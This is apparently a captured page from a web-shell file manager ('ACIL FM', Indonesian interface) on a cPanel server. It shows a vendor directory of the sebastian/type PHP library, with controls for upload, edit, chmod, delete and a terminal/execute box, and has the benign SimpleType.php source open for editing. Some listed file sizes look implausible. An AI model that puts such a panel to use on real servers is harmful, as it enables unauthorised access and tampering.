ACIL FM
Dark
Refresh
Current DIR:
/opt/cpanel/ea-wappspector/vendor/sebastian/type/src/type
/
opt
cpanel
ea-wappspector
vendor
sebastian
type
src
type
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
CallableType.php
4.2 MB
chmod
View
DL
Edit
Rename
Delete
FalseType.php
880 B
chmod
View
DL
Edit
Rename
Delete
GenericObjectType.php
1.02 MB
chmod
View
DL
Edit
Rename
Delete
IntersectionType.php
2.73 MB
chmod
View
DL
Edit
Rename
Delete
IterableType.php
1.47 MB
chmod
View
DL
Edit
Rename
Delete
MixedType.php
794 B
chmod
View
DL
Edit
Rename
Delete
NeverType.php
714 B
chmod
View
DL
Edit
Rename
Delete
NullType.php
791 B
chmod
View
DL
Edit
Rename
Delete
ObjectType.php
1.53 MB
chmod
View
DL
Edit
Rename
Delete
SimpleType.php
1.8 MB
chmod
View
DL
Edit
Rename
Delete
StaticType.php
1.43 MB
chmod
View
DL
Edit
Rename
Delete
TrueType.php
875 B
chmod
View
DL
Edit
Rename
Delete
Type.php
4.17 MB
chmod
View
DL
Edit
Rename
Delete
UnionType.php
2.89 MB
chmod
View
DL
Edit
Rename
Delete
UnknownType.php
779 B
chmod
View
DL
Edit
Rename
Delete
VoidType.php
710 B
chmod
View
DL
Edit
Rename
Delete
Edit file: /opt/cpanel/ea-wappspector/vendor/sebastian/type/src/type/SimpleType.php
<?php declare(strict_types=1); /* * This file is part of sebastian/type. * * (c) Sebastian Bergmann <sebastian@phpunit.de> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Type; use function strtolower; final class SimpleType extends Type { private string $name; private bool $allowsNull; private mixed $value; public function __construct(string $name, bool $nullable, mixed $value = null) { $this->name = $this->normalize($name); $this->allowsNull = $nullable; $this->value = $value; } public function isAssignable(Type $other): bool { if ($this->allowsNull && $other instanceof NullType) { return true; } if ($this->name === 'bool' && $other->name() === 'true') { return true; } if ($this->name === 'bool' && $other->name() === 'false') { return true; } if ($other instanceof self) { return $this->name === $other->name; } return false; } public function name(): string { return $this->name; } public function allowsNull(): bool { return $this->allowsNull; } public function value(): mixed { return $this->value; } /** * @psalm-assert-if-true SimpleType $this */ public function isSimple(): bool { return true; } private function normalize(string $name): string { $name = strtolower($name); return match ($name) { 'boolean' => 'bool', 'real', 'double' => 'float', 'integer' => 'int', '[]' => 'array', default => $name, }; } }
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply